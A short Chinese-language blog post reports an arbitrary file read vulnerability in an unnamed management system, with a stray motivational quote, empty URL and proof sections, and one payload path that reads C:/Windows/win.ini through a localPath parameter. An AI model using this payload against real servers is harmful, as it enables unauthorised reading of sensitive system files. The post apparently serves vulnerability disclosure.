某集群管理系统存在任意文件读取漏洞

你为什么要拼命努力？父母的白发，想去的地方很远，想要的东西很贵，喜欢的人很优秀，周围人的嘲笑，以及，天生傲骨。

漏洞描述

利用漏洞，攻击者可以读取 Windows 或 Linux 服务器上的任意文件。利用文件读取漏洞，攻击者可以获取到系统文件信息，从而造成敏感信息泄露。

漏洞实战

访问url：

漏洞payload：

/interlib/report/ShowImage?localPath=C:/Windows/win.ini

漏洞证明：

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。